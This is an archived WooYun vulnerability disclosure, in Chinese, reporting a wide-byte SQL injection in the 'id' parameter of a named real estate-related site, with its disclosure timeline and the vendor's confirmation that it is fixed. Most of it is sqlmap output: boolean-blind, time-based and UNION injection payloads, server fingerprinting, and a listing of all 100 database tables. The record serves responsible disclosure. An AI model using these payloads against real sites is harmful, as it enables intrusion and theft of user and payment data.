乌云(WooYun.org)历史漏洞查询---http://wy.zone.ci/
乌云 Drops 文章在线浏览--------http://drop.zone.ci/
2015-12-08: 细节已通知厂商并且等待厂商处理中 2015-12-08: 厂商已经确认,细节仅向厂商公开 2015-12-18: 细节向核心白帽子及相关领域专家公开 2015-12-28: 细节向普通白帽子公开 2016-01-07: 细节向实习白帽子公开 2016-01-21: 细节向公众公开
http://m.zzz4.com/pk/info.php?id=1
宽字节注入
sqlmap resumed the following injection point(s) from stored session:---Parameter: id (GET) Type: boolean-based blind Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause Payload: id=1' RLIKE (SELECT (CASE WHEN (2446=2446) THEN 1 ELSE 0x28 END)) Type: AND/OR time-based blind Title: MySQL >= 5.0.12 AND time-based blind (SELECT) Payload: id=1' AND (SELECT * FROM (SELECT(SLEEP(5)))njch) Type: UNION query Title: MySQL UNION query (NULL) - 20 columns Payload: id=1' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x716a767071,0x6e7450765967766c4b6f,0x716b707671),NULL,NULL,NULL,NULL,NULL,NULL#---web server operating system: Windows 2003 or XPweb application technology: ASP.NET, Microsoft IIS 6.0, PHP 5.2.14back-end DBMS: MySQL 5.0.12Database: zx_db[100 tables]+----------------------------+| loupan_info || loupan_info_copy || zx_activity || zx_activity_cate_maps || zx_activity_cates || zx_activity_join || zx_ad_sign || zx_admin || zx_ads || zx_announcement || zx_appointment || zx_area || zx_ask || zx_ask_answer || zx_ask_cates || zx_ask_supply || zx_bbs || zx_bbs_cates || zx_bbs_reply || zx_building || zx_building_copy || zx_building_site || zx_case || zx_case_cate_maps || zx_case_cates || zx_case_love || zx_case_pics || zx_case_project || zx_case_project_cate_maps || zx_certificate || zx_city || zx_comments || zx_content || zx_content_cates || zx_content_project || zx_dec_com_cates || zx_dec_company || zx_dec_company_cate_maps || zx_dec_company_dianping || zx_dec_company_templates || zx_dec_team || zx_dec_team_cate_maps || zx_dec_team_cates || zx_designer || zx_designer_cate_maps || zx_designer_cates || zx_diary || zx_diary_cates || zx_domain || zx_files || zx_group || zx_group_map || zx_integral || zx_integral_exchange || zx_integral_shop || zx_integral_used || zx_knowledge || zx_knowledge_cates || zx_links || zx_lrzxrj || zx_lrzxrj_cate || zx_lrzxrj_pic || zx_mater_com_cates || zx_mater_company || zx_mater_company_cate_maps || zx_materials || zx_memo || zx_menu || zx_mobiles || zx_pay_logs || zx_payment || zx_preferential || zx_preferential_cate_maps || zx_preferential_cates || zx_privilege || zx_privilege_group || zx_product || zx_product_cates || zx_roomtypecalc || zx_sensitiveword || zx_setting || zx_system_content || zx_system_logs || zx_template_setting || zx_template_setting_copy || zx_templates || zx_tenders || zx_tenders_look || zx_tenders_look_detail || zx_tenders_maps || zx_tenders_setting || zx_tuan || zx_tuan_cates || zx_tuan_orders || zx_users || zx_users_bonus || zx_users_ex || zx_users_gold_pay_logs || zx_via || zx_zxrj |+----------------------------+
危害等级:低
漏洞Rank:5
确认时间:2015-12-08 11:27
漏洞已修复,谢谢检测
暂无